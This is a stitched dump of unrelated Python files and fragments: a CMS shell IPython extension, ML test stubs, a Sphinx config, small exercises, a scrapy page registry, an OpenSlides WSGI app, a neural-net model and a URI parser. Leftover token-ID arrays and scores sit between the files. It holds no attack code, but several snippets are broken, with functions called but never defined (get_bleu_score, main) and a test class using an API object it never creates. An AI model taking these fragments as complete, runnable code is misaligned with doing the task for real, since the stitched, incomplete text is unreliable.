('jobs', cms_jobs),
('config', cms_config),
('commands', cms_commands),
('das', cms_das),
('das_json', cms_das_json),
('apt', cms_apt),
('xrdcp', cms_xrdcp),
('root', cms_root),
('find', cms_find),
('du', cms_du),
('ls', cms_ls),
('info', cms_info),
('lumi', cms_lumi),
('cms_json', cms_json),
('rm', cms_rm),
('mkdir', cms_mkdir),
('rmdir', cms_rmdir),
('cp', cms_cp),
('verbose', verbose),
('debug_http', debug_http),
('install', cms_install),
('releases', cms_releases),
('dbs_instance', dbs_instance),
('cmsrel', cmsrel),
('cmsRun', cmsrun),
('cmsrun', cmsrun),
('cmshelp', cms_help),
('arch', cms_arch),
('tickets', github_issues),
('ticket', github_issues),
('demo', demo),
('test', integration_tests),
('pager', cms_pager),
]
if os.environ.get('CMSSH_EOS', 0):
eos = '/afs/cern.ch/project/eos/installation/cms/bin/eos.select'
cmsMagicList.append(('eos', Magic(eos).execute))
def check_0400(kfile):
"Check 0400 permission of given file"
mode = os.stat(kfile).st_mode
cond = bool(mode & stat.S_IRUSR) and not bool(mode & stat.S_IWUSR) \
and not bool(mode & stat.S_IXUSR) \
and not bool(mode & stat.S_IRWXO) \
and not bool(mode & stat.S_IRWXG)
return cond
def check_0600(kfile):
"Check 0600 permission of given file"
mode = os.stat(kfile).st_mode
cond = bool(mode & stat.S_IRUSR) and not bool(mode & stat.S_IXUSR) \
and not bool(mode & stat.S_IRWXO) \
and not bool(mode & stat.S_IRWXG)
return cond
def test_key_cert():
"""Test user key/cert file and their permissions"""
kfile = os.path.join(os.environ['HOME'], '.globus/userkey.pem')
cfile = os.path.join(os.environ['HOME'], '.globus/usercert.pem')
if os.path.isfile(kfile):
if not (check_0600(kfile) or check_0400(kfile)):
msg = "File %s has weak permission settings, try" % kfile
print_warning(msg)
print "chmod 0400 %s" % kfile
else:
print_error("File %s does not exists, grid/cp commands will not work" % kfile)
if os.path.isfile(cfile):
if not (check_0600(cfile) or check_0400(cfile)):
msg = "File %s has weak permission settings, try" % cfile
print_warning(msg)
print "chmod 0600 %s" % cfile
else:
msg = "File %s does not exists, grid/cp commands will not work" % cfile
print_error(msg)
#
# Main function
#
def main(ipython):
"""Define custom extentions"""
# global IP API
ip = ipython
# load cms modules and expose them to the shell
for m in cmsMagicList:
magic_name = 'magic_%s' % m[0]
if hasattr(ip, 'register_magic_function'): # ipython 0.13 and above
magic_kind = 'line'
func = m[1]
name = m[0]
ip.register_magic_function(func, magic_kind, name)
else: # ipython 0.12 and below
setattr(ip, magic_name, m[1])
# import required modules for the shell
ip.ex("import os")
ip.ex("from cmssh.cms_cmds import results, cms_vomsinit")
ip.ex("from cmssh.auth_utils import PEMMGR, read_pem")
ip.ex("read_pem()")
ip.ex("cms_vomsinit()")
ip.ex("os.environ['CMSSH_PAGER']='0'")
# Set cmssh prompt
prompt = 'cms-sh'
ip.prompt_manager.in_template = '%s|\#> ' % prompt
print cms_help_msg()
# check existance and permission of key/cert
test_key_cert()
def load_ipython_extension(ipython):
"""Load custom extensions"""
# The ``ipython`` argument is the currently active
# :class:`InteractiveShell` instance that can be used in any way.
# This allows you do to things like register new magics, plugins or
# aliases.
main(ipython)
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198
] | 2.283252 | 3,075 |
# Copyright (c) 2019 PaddlePaddle Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
from __future__ import print_function
import unittest
import contextlib
import numpy as np
import paddle.fluid as fluid
import paddle.fluid.core as core
from simple_nets import init_data, simple_fc_net, fc_with_batchnorm
import seresnext_net
from test_parallel_executor_transformer import transformer, get_feed_data_reader
from fake_reader import fake_imdb_reader
if __name__ == '__main__':
unittest.main()
| [
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] | 3.506803 | 294 |
import sys, os
# -- General configuration -----------------------------------------------------
extensions = ['sphinx.ext.todo']
source_suffix = '.rst'
source_encoding = 'utf-8'
master_doc = 'index'
project = u'spray'
copyright = u'2011-2012 spray.cc.'
version = '$VERSION$'
release = '$VERSION$'
exclude_patterns = []
# -- Options for HTML output ---------------------------------------------------
html_theme = 'sprayed'
html_theme_path = ["./_themes"]
html_title = u'spray'
html_logo = u'logo.png'
html_static_path = []
html_use_smartypants = True
html_add_permalinks = None
htmlhelp_basename = 'spraydoc'
todo_include_todos = True
html_copy_source = False
# -- Options for LaTeX output --------------------------------------------------
latex_elements = {
'papersize': 'a4paper',
'pointsize': '11pt',
}
latex_documents = [
('index', 'spray.tex', u'spray Documentation', u'spray.cc', 'manual'),
]
| [
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] | 3.043478 | 299 |
# Alexandra Macuga, 2019-03-26
# Write a program that asks the user to input a positive integer and tells the user whether or not the number is a prime.
# Adapted from: https://web.microsoftstream.com/video/3ef695e3-9155-4487-b48e-0867834c76ad
# Ask the user for a value of i (positive integer)
i = int(input('Please enter a positive integer: '))
# For a number in a range from 2 to i (positive integer specified by user)
for n in range(2, i):
# Check if integer is divisible by a number from a range
if i % n == 0:
# If an integer is divisible by the number, print the specified message
print('That is not a prime')
# When the condition is true and the integer is divisible by at least one number, break the loop
break
# If the integer is not divisible by any number from a range
else:
# Loop fell through without finding a factor, print the specified message
print('That is a prime.') | [
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] | 3.445283 | 265 |
import nltk
import difflib
from nltk.translate.bleu_score import SmoothingFunction
smoothie = SmoothingFunction().method4
# The higher the better
if __name__ == '__main__':
hypothesis = 'It is a cat at the room'
reference = 'It is a cat inside the room'
print("Bleu:", get_bleu_score(hypothesis, reference))
print("Secquence:", get_sequence_matcher_score(hypothesis, reference))
print("Levenshtein:", get_levenshtein_score(hypothesis, reference))
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] | 2.861446 | 166 |
# coding: utf-8
"""
Aspose.Diagram Cloud API Reference
No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen)
OpenAPI spec version: 3.0
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
from __future__ import absolute_import
#from asposediagramcloud.apis.diagram_api import DiagramApi
#from asposediagramcloud.rest import ApiException
#import asposediagramcloud
import os
import sys
import unittest
import test_base
from asposediagramcloud.models import *
ABSPATH = os.path.abspath(os.path.realpath(os.path.dirname(__file__)) + "/..")
sys.path.append(ABSPATH)
localtestFile = "testData/FileUpload.vdx"
storageTestFOLDER = "SDKTests\\Python"
fileName="pageTest.vsdx"
class TestPage(unittest.TestCase):
""" DiagramApi unit test stubs """
def test_create_new(self):
"""
Test case for create_new
Create Empty file into the specified format.
"""
folder = storageTestFOLDER
is_overwrite = "true"
result = self.api.create_new(fileName, folder=folder, is_overwrite=is_overwrite)
self.assertIsNotNone(result.created, 'Error has occurred while create file')
pass
if __name__ == '__main__':
unittest.main()
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198,
220,
220,
220,
555,
715,
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13,
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198
] | 2.654959 | 484 |
# Simple python implementation of creating a pandas data frame with word vectors
import pandas as pd
from collections import Counter
sayings = [
"Rose is a rose is a rose is a rose.",
"We are going to need a bigger boat.",
"Huston, we have a problem"
]
unique_words = set()
for saying in sayings:
unique_words |= set(saying.split())
all_rows = {}
row_number = 0
for saying in sayings:
word_vector = {}
frequencies = Counter(saying.split())
for word in unique_words:
if word in frequencies.keys():
word_vector[word] = frequencies[word]
else:
word_vector[word] = 0
all_rows[row_number] = word_vector
row_number += 1
data_frame = pd.DataFrame.from_dict(all_rows, orient='index')
print(data_frame)
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11,
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198,
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7,
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62,
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8,
198
] | 2.690972 | 288 |
from django_jinja import library
from mozillians.announcements.models import Announcement
@library.global_function
def latest_announcement():
"""Return the latest published announcement or None."""
if Announcement.objects.published().count():
return Announcement.objects.published().latest()
return None
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] | 3.526882 | 93 |
import datetime
import time
from fedot.core.optimisers.timer import OptimisationTimer
from fedot.core.pipelines.tuning.timer import TunerTimer
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] | 3.395349 | 43 |
import typing as tp
from abc import ABCMeta, abstractmethod
from smok.predicate.event import Event
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] | 3.517241 | 29 |
from scipy.optimize import linprog
import numpy as np
# Objective function
z = np.array([300,500,200])
expense = 75000
# Constraints
C = np.array([
[ 10, 7.5, 4], #C1
[ 0, 10, 0], #C2
[0.5, 0.4, 0.5], #C3
[ 0, 0.4, 0], #C4
[0.5, 0.1, 0.5], #C5
[0.4, 0.2, 0.4], #C6
[ 1, 1.5, 0.5], #C7
[ 1, 0, 0], #C8
[ 0, 1, 0], #C9
[ 0, 0, 1] #C10
])
b = np.array([4350, 2500, 280, 140, 280, 140, 700, 300, 180, 400])
# Bounds
x1 = (0, None)
x2 = (0, None)
x3 = (0, None)
#Solution
sol = linprog(-z, A_ub = C, b_ub = b, bounds = (x1, x2, x3), method='simplex')
#Profit Monthly.
profit = (sol.fun*-1) - expense
print(f"x1 = {sol.x[0]}, x2 = {sol.x[1]}, x3 = {sol.x[2]}, z = {profit}") | [
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2,
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13,
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9,
12,
16,
8,
532,
10907,
198,
198,
4798,
7,
69,
1,
87,
16,
796,
1391,
34453,
13,
87,
58,
15,
60,
5512,
2124,
17,
796,
1391,
34453,
13,
87,
58,
16,
60,
5512,
2124,
18,
796,
1391,
34453,
13,
87,
58,
17,
60,
5512,
1976,
796,
1391,
9183,
92,
4943
] | 1.668724 | 486 |
"""
Exposing concrete items dynamically.
Makes it possible to add support for a new website just by
creating a new Python module under this package, and declaring
a concrete implementation for ``RealEstateHomePage``, ``RealEstateListPage`` and ``RealEstatePage``.
"""
import importlib.util
import inspect
import pkgutil
from pathlib import Path
from typing import Dict, List, Tuple, Type, TypeVar
from loguru import logger
from web_poet import WebPage # type: ignore
from real_estate_scrapers.items import RealEstateHomePage, RealEstateListPage, RealEstatePage
T = TypeVar("T", bound=WebPage)
def _get_concrete_class(class_tuples: List[Tuple[str, Type[T]]], abstract_class: Type[T]) -> Type[T]:
"""
Returns the concrete implementation of the specified ``abstract_class``, choosing from ``class_tuples``.
``class_tuples`` can be easily obtained by invoking:
>>> inspect.getmembers(module, inspect.isclass)
Args:
class_tuples: List of tuples of the form (module_name, class_name)
abstract_class: The abstract class whose concrete implementation is to be found.
Returns: The concrete implementation of the specified ``abstract_class``. Always the first match gets returned.
Raises: ``ValueError`` if no concrete implementation is found.
"""
for _, cls in class_tuples:
if issubclass(cls, abstract_class) and cls is not abstract_class:
return cls
raise ValueError(f"No concrete implementation found for {abstract_class.__name__}")
# Used to have a grouping of URLs per page, so that request types can be specified dynamically (e.g. Selenium or plain)
_start_url_dict: Dict[Type[RealEstateHomePage], List[str]] = {}
# Will be assigned to the ``SCRAPY_POET_OVERRIDES`` class variable in the ``RealEstateSpider``
_scrapy_poet_overrides: Dict[str, Dict[Type[WebPage], Type[WebPage]]] = {}
# Loading concrete implementations from the file system automagically
_dirpath = Path(__file__).parent
# Iterates over each module in this package
# and registers the concrete crawling logic implementations
for module_info in pkgutil.iter_modules([str(_dirpath)]):
# Load module which declares concrete implementation
# for ``RealEstateListPage`` and ``RealEstatePage``
full_module_name = f"{__package__}.{module_info.name}"
full_module_path = _dirpath / f"{module_info.name}.py"
spec = importlib.util.spec_from_file_location(full_module_name, str(full_module_path))
module = importlib.util.module_from_spec(spec) # type: ignore
spec.loader.exec_module(module) # type: ignore
# Extract classes
classes = inspect.getmembers(module, inspect.isclass)
home_page_class: Type[RealEstateHomePage] = _get_concrete_class(classes, RealEstateHomePage)
if not home_page_class.should_scrape():
logger.debug(f"Skipping registration of {home_page_class.domain()}, as ``should_scrape`` returned False.")
continue
list_page_class: Type[RealEstateListPage] = _get_concrete_class(classes, RealEstateListPage)
page_class: Type[RealEstatePage] = _get_concrete_class(classes, RealEstatePage)
domain_specific_overrides = {
RealEstateHomePage: home_page_class,
RealEstateListPage: list_page_class,
RealEstatePage: page_class,
}
# Sets the override dict in ``SCRAPY_OVERRIDES`` so that ``scrapy_poet.InjectionMiddleware`` can inject the proper
# concrete implementation for each page type on a per-domain basis
domain = home_page_class.domain()
_scrapy_poet_overrides[domain] = domain_specific_overrides
logger.debug(f"Registered overrides for {domain}: {domain_specific_overrides}")
# Register the static (hard-coded) start urls for this domain,
# to be used as entrypoint(s) to scrape urls to ``RealEstateListPage``s
_start_url_dict[home_page_class] = home_page_class.start_urls()
logger.info(f"Loaded {full_module_name} for {domain}")
def get_scrapy_poet_overrides() -> Dict[str, Dict[Type[WebPage], Type[WebPage]]]:
"""
Returns: Configuration to override the exact ``RealEstateListPage``
and ``RealEstatePage`` implementation dynamically
based on the scraped domain.
"""
return _scrapy_poet_overrides
def get_start_urls() -> List[str]:
"""
Returns: The start urls for the scrapy crawler.
"""
return [url for url_list in _start_url_dict.values() for url in url_list]
def get_start_url_dict() -> Dict[Type[RealEstateHomePage], List[str]]:
"""
Returns: The start urls for the scrapy crawler, grouped by subclasses of ``RealEstateListPage``.
"""
return _start_url_dict
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"""add foreign key
Revision ID: 11b80498abeb
Revises: bce514e0541f
Create Date: 2021-11-08 18:26:51.860396
"""
from alembic import op
import sqlalchemy as sa
# revision identifiers, used by Alembic.
revision = '11b80498abeb'
down_revision = 'bce514e0541f'
branch_labels = None
depends_on = None
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6,
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2412,
62,
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6045,
628,
198
] | 2.57265 | 117 |
#!/usr/bin/env python3
# ---------------------------------------------------------------------
# bak_to_fossil_3.py
#
# Step 3 (alternate): Read data from a CSV file that was edited in
# step 2, where commit messages were added and files to be skipped
# were flagged. Run fossil (instead of git) to commit each change
# with the specified date and time.
#
# This script is only for the initial creation and population of a new
# (empty) Fossil repository.
#
# The Fossil repository file is created (fossil init) by this script.
# It must not already exist.
#
# The directory for the repository will be created by this script if
# it does not exist.
#
# ---------------------------------------------------------------------
import argparse
import csv
import os
import subprocess
import sys
from collections import namedtuple
from datetime import datetime
from pathlib import Path
from textwrap import dedent
from typing import List
from bak_to_common import (
ask_to_continue,
datetime_fromisoformat,
log_fmt,
plain_quotes,
split_quoted,
strip_outer_quotes,
)
AppOptions = namedtuple(
"AppOptions",
"input_csv, repo_dir, repo_name, init_date, log_dir, fossil_exe, "
+ "filter_file",
)
CommitProps = namedtuple(
"CommitProps",
"sort_key, full_name, datetime_tag, base_name, "
+ "commit_message, add_command",
)
run_dt = datetime.now()
log_path = Path.cwd() / f"log-bak_to_fossil_3-{run_dt:%Y%m%d_%H%M%S}.txt"
filter_list = []
if __name__ == "__main__":
sys.exit(main(sys.argv))
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7,
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198
] | 2.969582 | 526 |
"""
Provide function for population vector correlation calculation
"""
import numpy as np
from .. import errors as err
def population_vector_correlation(stack_0, stack_1, **kwargs):
"""Calculates the bin-wise correlation between two stacks of rate maps
Each stack corresponds to a separate Task, or trial. Each layer is the
ratemap for a single cell from that Task. The same units should be given in
the same order in each stack.
Take a single column through the stack (i.e. 1 single bin/location in
arena, with a firing rate for each cell), from each stack
In the original MatLab implementation, three output modes were supported
* 1D: (`numYbins`) - iterate over `i`
1) Take a 2D slice from each stack - all cells at all `X` positions at a
single `Y` position `i`
2) Reshape from 2D to 1D
3) Calculate the Pearson correlation coefficient between the two 1D
arrays
4) The value of `pv_corr_1d[i]` is the Pearson correlation coefficient
arising from `Y` position `i`
* 2D (`numXbins` x `numYbins`) - iterate over `i`
1) Take a 2D slice from each stack - all cells at all `X` positions at a
single `Y` position `i`
2) Calculate the 2D array (`numXbins` x `numYbins`) where the `[j,k]`th
value is the Pearson correlation coefficient between all
observations at the `j`'th `X` location in `stack_left` and the `k`'th
location in `stack_right`
3) The `i`'th row of `pv_corr_2d` is the DIAGONAL of the correlation matrix
i.e. where `j==k` i.e. the correlation of the the SAME location in
each stack for all observations (`numCells`)
* 3D (`numXbins` x `numYbins` x iteration(=`numYbins`))
Same as 2D BUT take the whole correlation matrix, not the diagonal
i.e. the full [j,k] correlatio between all X locations
A note on correlation in Numpy vs Matlab
Matlab's `corr(a, b)` function returns the correlation of ab
Numpy's `corrcoef` function returns the normalised covariance matrix,
which is:
aa ab
ba aa
The normalised covariance matrix *should* be hermitian, but due to
floating point accuracy, this is not actually guaranteed
the MatLab function can be reproduced by taking either [0, 1] or [1,0]
of the normalised covariance matrix.
If `a`, `b` are 2D matricies, then they should have shape `(num_variables, num_observations)`
In the case of this function, where the iterator is over the `Y` values
of the rate map, that means: `(x_bins, num_cells)`
Parameters
----------
stack_0: 3D array -or- list of 2D arrays
stack_1: 3D array -or- list of 2D arrays
`stack_x[i]` should return the `i`'th ratemap. This corresponds to a
constructor like:
`np.zeros(num_layers, y_bins, x_bins)`
Alternatively, a list or tuple of 2D arrays may be supplied:
`stack_x` = (`ratemap_0`, `ratemap_1`, `ratemap_2`, ...)
row_major: bool
Direction of iteration. If `True`, then each row is iterated over in turn
and correlation is calculated per row.
If `False`, then each column is iterated over in turn, and correlation is
calculated per column.
Default True (same behavior as in BNT)
Returns
-------
(p1, p2, p3)
p1: np.ndarray (1D, iterator x 1)
Array of Pearson correlation coefficients. i'th value is given by the
correlation of the i'th flattened slice of stack_0 to the i'th
flattened slice of stack_1
p2: np.ndarray (2D, iterator x non-iterator)
i'th row is the diagonal of the correlation matrix, i.e. the correlation
of the same location (location i) in each stack, i.e. where j==k
p3: np.ndarray(3D, iterator x non-iterator x non-iterator)
i'th array is the entire correlation matrix, rather than just the diagonal
Notes
--------
BNT.+analyses.populationVectorCorrelation
Copyright (C) 2019 by Simon Ball
"""
debug = kwargs.get("debug", False)
row_major = kwargs.get("row_major", True)
# Perform input validation and ensure we have a pair of 3D arrays
stack_0, stack_1 = _handle_both_inputs(stack_0, stack_1)
# _handle_ has ensured that both arrays meet the shape/type requirements
# Hardcode iterating over Y for now.
num_cells, y_bins, x_bins = stack_0.shape
if row_major:
iterator = y_bins
non_iterator = x_bins
else:
iterator = x_bins
non_iterator = y_bins
if debug:
print(f"Number of ratemaps: {num_cells}")
print(f"Ratemap dimensions: {y_bins} x {x_bins}")
print(f"Iterating over axis length {iterator} (row_major is {row_major})")
p1 = np.zeros(iterator)
p2 = np.zeros((iterator, non_iterator))
p3 = np.zeros((iterator, non_iterator, non_iterator))
for i in range(iterator):
if row_major:
left = stack_0[:, i, :].transpose()
right = stack_1[:, i, :].transpose()
else:
left = stack_0[:, :, i].transpose()
right = stack_1[:, :, i].transpose()
# 1D
# Reshape 2D array to a 1D array
correlation_value = np.corrcoef(left.flatten(), right.flatten())[0,1]
p1[i] = correlation_value
# 2D, 3D
correlation_matrix = np.corrcoef(left, right)[0:non_iterator, non_iterator:]
p2[i, :] = np.diagonal(correlation_matrix)
p3[i, :, :] = correlation_matrix
return (p1, p2, p3)
###############################################################################
#############
############# Error checking
#############
def _handle_both_inputs(stack_0, stack_1):
'''Handle error checking across both main inputs'''
stack_0 = _handle_single_input(stack_0, 0)
stack_1 = _handle_single_input(stack_1, 1)
if stack_0.shape[0] != stack_1.shape[0]:
raise err.ArgumentError("You have a different number of rate maps in each stack.")
if stack_0.shape[1:] != stack_1.shape[1:]:
raise err.ArgumentError("Your rate maps do not have matching dimensions")
return stack_0, stack_1
def _handle_single_input(stack, i):
'''Handle the input stack(s) and provide a correctly formatted 3D array
Handle error checking for a variety of conditions for a single stack
If not already a MaskedArray, then convert to that
Parameters
----------
stack : array-like
One of main inputs to population_vector_correlation.
Should be either a 3D array, where each layer (stack[j]) is a RateMap,
OR a list of 2D arrays, where each array is a 2D RateMap.
If a list of arrays, all arrays must be the same dimension
i : int
Index of stack input, solely used for providing more meaningful error
message
Returns
-------
stack : np.ma.MaskedArray
3D array of RateMaps, masked at invalid values
'''
dims = None
t = type(stack)
if t not in (list, tuple, np.ndarray, np.ma.MaskedArray):
raise ValueError(f"Stack_{i} must be array-like. You provided {t}")
elif t in (tuple, list):
for element in stack:
e = type(element)
if e not in (np.ndarray, np.ma.MaskedArray):
raise err.ArgumentError(f"The elements of the list stack_{i} must be"\
f" NumPy arrays. You provided {e}")
if dims is None:
dims = element.shape
else:
if element.shape != dims:
raise err.ArgumentError(f"Your ratemaps are not a consistent"\
f" shape in stack_{i}")
# Passes error handling, now convert from list to masked array
stack = np.ma.masked_invalid(stack)
elif isinstance(stack, np.ndarray):
# Ok, but convert to masked array
stack = np.ma.masked_invalid(stack)
dims = stack.shape[1:]
else:
# Instance is already a Masked Array
dims = stack.shape[1:]
return stack
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] | 2.422539 | 3,434 |
import os
import re
from typing import Any, Iterable, Union
import simplejson as json
from werkzeug.exceptions import BadRequest as WerkzeugBadRequest
from werkzeug.wrappers import Response
from ..services.auth.adapter import HEADER_NAME
from ..shared.env import is_truthy
from ..shared.exceptions import ViewException
from ..shared.interfaces.wsgi import StartResponse, WSGIEnvironment
from .http_exceptions import BadRequest, Forbidden, HTTPException, MethodNotAllowed
from .request import Request
health_route = re.compile("^/health$")
class OpenSlidesBackendWSGIApplication:
"""
Central application class for this service.
During initialization we bind injected dependencies to the instance.
"""
def dispatch_request(self, request: Request) -> Union[Response, HTTPException]:
"""
Dispatches request to route according to URL rules. Returns a Response
object or a HTTPException (or a subclass of it). Both are WSGI
applications themselves.
"""
if health_route.match(request.environ["RAW_URI"]):
return self.health_info(request)
return self.default_route(request)
def default_route(self, request: Request) -> Union[Response, HTTPException]:
"""
Default route that calls the injected view.
"""
# Check request method
if request.method != self.view.method:
return MethodNotAllowed(valid_methods=[self.view.method])
self.logger.debug(f"Request method is {request.method}.")
# Check mimetype and parse JSON body. The result is cached in request.json.
if not request.is_json:
return BadRequest(
ViewException(
"Wrong media type. Use 'Content-Type: application/json' instead."
)
)
try:
request_body = request.get_json()
except WerkzeugBadRequest as exception:
return BadRequest(ViewException(exception.description))
self.logger.debug(f"Request contains JSON: {request_body}.")
# Dispatch view and return response.
view_instance = self.view(self.logging, self.services)
try:
response_body, access_token = view_instance.dispatch(request)
except ViewException as exception:
env_var = os.environ.get("OPENSLIDES_BACKEND_RAISE_4XX", "off")
if is_truthy(env_var):
raise exception
if exception.status_code == 400:
return BadRequest(exception)
elif exception.status_code == 403:
return Forbidden(exception)
else:
text = (
f"Unknown ViewException with status_code {exception.status_code} "
f"raised: {exception.message}"
)
self.logger.error(text)
raise
self.logger.debug(
f"All done. Application sends HTTP 200 with body {response_body}."
)
response = Response(json.dumps(response_body), content_type="application/json")
if access_token is not None:
response.headers[HEADER_NAME] = access_token
return response
def health_info(self, request: Request) -> Union[Response, HTTPException]:
"""
Route to provide health data of this service. Retrieves status information
from respective view.
"""
health_info = self.view(self.logging, self.services).get_health_info()
return Response(
json.dumps({"healthinfo": health_info}),
content_type="application/json",
)
def wsgi_application(
self, environ: WSGIEnvironment, start_response: StartResponse
) -> Iterable[bytes]:
"""
Creates Werkzeug's Request object, calls the dispatch_request method and
evaluates Response object (or HTTPException) as WSGI application.
"""
request = Request(environ)
response = self.dispatch_request(request)
return response(environ, start_response)
def __call__(
self, environ: WSGIEnvironment, start_response: StartResponse
) -> Iterable[bytes]:
"""
Dispatches request to `wsgi_application` method so that one may apply
custom middlewares to the application.
"""
return self.wsgi_application(environ, start_response)
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] | 2.50625 | 1,760 |
from typing import Any, Dict
from overrides import overrides
from keras.layers import Input
from keras.layers.wrappers import TimeDistributed
from ...data.instances.sentence_selection_instance import SentenceSelectionInstance
from ...layers.attention.attention import Attention
from ...layers.wrappers.encoder_wrapper import EncoderWrapper
from ...training.text_trainer import TextTrainer
from ...training.models import DeepQaModel
class SiameseSentenceSelector(TextTrainer):
"""
This class implements a (generally) Siamese network for the answer
sentence selectiont ask. Given a question and a collection of sentences,
we aim to identify which sentence has the answer to the question. This
model encodes the question and each sentence with (possibly different)
encoders, and then does a cosine similarity and normalizes to get a
distribution over the set of sentences.
Note that in some cases, this may not be exactly "Siamese" because the
question and sentences encoders can differ.
Parameters
----------
num_hidden_seq2seq_layers : int, optional (default: ``2``)
We use a few stacked biLSTMs (or similar), to give the model some
depth. This parameter controls how many deep layers we should use.
share_hidden_seq2seq_layers : bool, optional (default: ``False``)
Whether or not to encode the sentences and the question with the same
hidden seq2seq layers, or have different ones for each.
"""
@overrides
def _build_model(self):
"""
The basic outline here is that we'll pass the questions and each
sentence in the passage through some sort of encoder (e.g. BOW, GRU,
or biGRU).
Then, we take the encoded representation of the question and calculate
a cosine similarity with the encoded representation of each sentence in
the passage, to get a tensor of cosine similarities with shape
(batch_size, num_sentences_per_passage). We then normalize for each
batch to get a probability distribution over sentences in the passage.
"""
# First we create input layers and pass the inputs through embedding layers.
# shape: (batch size, num_question_words)
question_input = Input(shape=self._get_sentence_shape(self.num_question_words),
dtype='int32', name="question_input")
# shape: (batch size, num_sentences, num_sentence_words)
sentences_input_shape = ((self.num_sentences,) +
self._get_sentence_shape())
sentences_input = Input(shape=sentences_input_shape,
dtype='int32', name="sentences_input")
# shape: (batch size, num_question_words, embedding size)
question_embedding = self._embed_input(question_input)
# shape: (batch size, num_sentences, num_sentence_words, embedding size)
sentences_embedding = self._embed_input(sentences_input)
# We encode the question embedding with some more seq2seq layers
modeled_question = question_embedding
for i in range(self.num_hidden_seq2seq_layers):
if self.share_hidden_seq2seq_layers:
seq2seq_encoder_name = "seq2seq_{}".format(i)
else:
seq2seq_encoder_name = "question_seq2seq_{}".format(i)
hidden_layer = self._get_seq2seq_encoder(name=seq2seq_encoder_name,
fallback_behavior="use default params")
# shape: (batch_size, num_question_words, seq2seq output dimension)
modeled_question = hidden_layer(modeled_question)
# We encode the sentence embedding with some more seq2seq layers
modeled_sentence = sentences_embedding
for i in range(self.num_hidden_seq2seq_layers):
if self.share_hidden_seq2seq_layers:
seq2seq_encoder_name = "seq2seq_{}".format(i)
else:
seq2seq_encoder_name = "sentence_seq2seq_{}".format(i)
hidden_layer = TimeDistributed(
self._get_seq2seq_encoder(name=seq2seq_encoder_name,
fallback_behavior="use default params"),
name="TimeDistributed_seq2seq_sentences_encoder_{}".format(i))
# shape: (batch_size, num_question_words, seq2seq output dimension)
modeled_sentence = hidden_layer(modeled_sentence)
# We encode the modeled question with some encoder.
question_encoder = self._get_encoder(name="question_encoder",
fallback_behavior="use default encoder")
# shape: (batch size, encoder_output_dimension)
encoded_question = question_encoder(modeled_question)
# We encode the modeled document with some encoder.
sentences_encoder = EncoderWrapper(self._get_encoder(name="sentence_encoder",
fallback_behavior="use default encoder"),
name="TimeDistributed_sentences_encoder")
# shape: (batch size, num_sentences, encoder_output_dimension)
encoded_sentences = sentences_encoder(modeled_sentence)
# Here we use the Attention layer with the cosine similarity function
# to get the cosine similarities of each sesntence with the question.
# shape: (batch size, num_sentences)
attention_name = 'question_sentences_similarity'
similarity_params = {"type": "cosine_similarity"}
sentence_probabilities = Attention(name=attention_name,
similarity_function=similarity_params)([encoded_question,
encoded_sentences])
return DeepQaModel(input=[question_input, sentences_input],
output=sentence_probabilities)
@overrides
def _instance_type(self):
"""
Return the instance type that the model trains on.
"""
return SentenceSelectionInstance
@overrides
def _get_max_lengths(self) -> Dict[str, int]:
"""
Return a dictionary with the appropriate padding lengths.
"""
max_lengths = super(SiameseSentenceSelector, self)._get_max_lengths()
max_lengths['num_question_words'] = self.num_question_words
max_lengths['num_sentences'] = self.num_sentences
return max_lengths
@overrides
def _set_max_lengths(self, max_lengths: Dict[str, int]):
"""
Set the padding lengths of the model.
"""
super(SiameseSentenceSelector, self)._set_max_lengths(max_lengths)
self.num_question_words = max_lengths['num_question_words']
self.num_sentences = max_lengths['num_sentences']
@overrides
@classmethod
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] | 2.41977 | 2,873 |
perguntas = {
'Pergunta 1': {
'pergunta': 'Quanto é 2+2?',
'respostas': {
'a': '1',
'b': '4',
'c': '8'
},
'resposta_certa': 'b',
},
'Pergunta 2': {
'pergunta': 'Quanto é 3*2?',
'respostas': {
'a': '4',
'b': '10',
'c': '6'
},
'resposta_certa': 'c',
},
'Pergunta 3': {
'pergunta': 'Quanto é 1+2?',
'respostas': {
'a': '3',
'b': '10',
'c': '6'
},
'resposta_certa': 'a',
},
'Pergunta 4': {
'pergunta': 'Quanto é 1-1?',
'respostas': {
'a': '2',
'b': '1',
'c': '0'
},
'resposta_certa': 'c',
},
'Pergunta 5': {
'pergunta': 'Quanto é 8/4?',
'respostas': {
'a': '0',
'b': '4',
'c': '2'
},
'resposta_certa': 'c',
},
}
resposta_certa = 0
for pk, pv in perguntas.items():
print(f'{pk}:{pv["pergunta"]}')
print('Respostas: ')
for rk, rv in pv['respostas'].items():
print(f'[{rk}]: {rv}')
resposta = input('Sua resposta: ')
if resposta == pv['resposta_certa']:
print('Você Acertou !!!')
resposta_certa += 1
else:
print('Você Errou !!!')
print()
qtd_perguntas = len(perguntas)
por_acerto = resposta_certa / qtd_perguntas * 100
print(f'Você acertou {resposta_certa} pergunta(s). ')
print(f'Sua porcetagem de acerto foi de {por_acerto:.2f}%.') | [
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] | 1.622291 | 969 |
# -*-coding:utf-8-*-
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
import contextlib
import json
import urllib
import urllib2
| [
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] | 3.328571 | 70 |
import re
import itertools
import dataclasses
import typing as t
import urllib.parse
from appyter.ext.pathlib.chroot import ChrootPurePosixPath
from appyter.ext.dict import dict_merge, expand_dotmap
url_expr = re.compile(
r'^((?P<scheme>.+?)://(?P<authority>((?P<username>[^/:@\?#]+?)(:(?P<password>[^/@\?#]+?))?@)?(?P<netloc>(?P<hostname>[^:/\?#]+)(:(?P<port>\d+))?))?)?(?P<path>.*?)(\?(?P<query_string>.*?))?(#(?P<fragment>.*?))?$'
)
fragment_expr = re.compile(
r'^(?P<path>.*?)(\?(?P<query_string>.*?))?$'
)
@dataclasses.dataclass(init=False, repr=False, frozen=True)
class URI:
''' Not unlike yarl's URL class but
- support for `::` notation as used in fsspec URIs
- posix_path path operation
- fragment parsing
- dotmap support (query_ex)
'''
scheme: t.Optional[str]
username: t.Optional[str]
password: t.Optional[str]
hostname: t.Optional[str]
port: t.Optional[int]
path: str
query_string: t.Optional[str]
